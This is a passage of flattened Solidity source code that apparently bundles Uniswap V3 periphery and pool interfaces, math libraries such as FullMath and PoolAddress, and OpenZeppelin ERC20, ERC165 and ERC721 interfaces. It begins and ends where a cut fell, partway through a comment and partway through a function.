secp256k1 signature from the holder along with `r` and `v` function permit( address spender, uint256 tokenId, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external payable; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; /// @title Periphery Payments /// @notice Functions to ease deposits and withdrawals of ETH interface IPeripheryPayments { /// @notice Unwraps the contract's WETH9 balance and sends it to recipient as ETH. /// @dev The amountMinimum parameter prevents malicious contracts from stealing WETH9 from users. /// @param amountMinimum The minimum amount of WETH9 to unwrap /// @param recipient The address receiving ETH function unwrapWETH9(uint256 amountMinimum, address recipient) external payable; /// @notice Refunds any ETH balance held by this contract to the `msg.sender` /// @dev Useful for bundling with mint or increase liquidity that uses ether, or exact output swaps /// that use ether for the input amount function refundETH() external payable; /// @notice Transfers the full amount of a token held by this contract to recipient /// @dev The amountMinimum parameter prevents malicious contracts from stealing the token from users /// @param token The contract address of the token which will be transferred to `recipient` /// @param amountMinimum The minimum amount of token required for a transfer /// @param recipient The destination address of the token function sweepToken( address token, uint256 amountMinimum, address recipient ) external payable; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Immutable state /// @notice Functions that return immutable state of the router interface IPeripheryImmutableState { /// @return Returns the address of the Uniswap V3 factory function factory() external view returns (address); /// @return Returns the address of WETH9 function WETH9() external view returns (address); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Provides functions for deriving a pool address from the factory, tokens, and the fee library PoolAddress { bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; /// @notice The identifying key of the pool struct PoolKey { address token0; address token1; uint24 fee; } /// @notice Returns PoolKey: the ordered tokens with the matched fee levels /// @param tokenA The first token of a pool, unsorted /// @param tokenB The second token of a pool, unsorted /// @param fee The fee level of the pool /// @return Poolkey The pool details with ordered token0 and token1 assignments function getPoolKey( address tokenA, address tokenB, uint24 fee ) internal pure returns (PoolKey memory) { if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); } /// @notice Deterministically computes the pool address given the factory and PoolKey /// @param factory The Uniswap V3 factory contract address /// @param key The PoolKey /// @return pool The contract address of the V3 pool function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) { require(key.token0 < key.token1); pool = address( uint256( keccak256( abi.encodePacked( hex'ff', factory, keccak256(abi.encode(key.token0, key.token1, key.fee)), POOL_INIT_CODE_HASH ) ) ) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.4.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = -denominator & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math functions that do not check inputs or outputs /// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks library UnsafeMath { /// @notice Returns ceil(x / y) /// @dev division by 0 has unspecified behavior, and must be checked externally /// @param x The dividend /// @param y The divisor /// @return z The quotient, ceil(x / y) function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) { assembly { z := add(div(x, y), gt(mod(x, y), 0)) } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.4.0; /// @title FixedPoint96 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) /// @dev Used in SqrtPriceMath.sol library FixedPoint96 { uint8 internal constant RESOLUTION = 96; uint256 internal constant Q96 = 0x1000000000000000000000000; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns 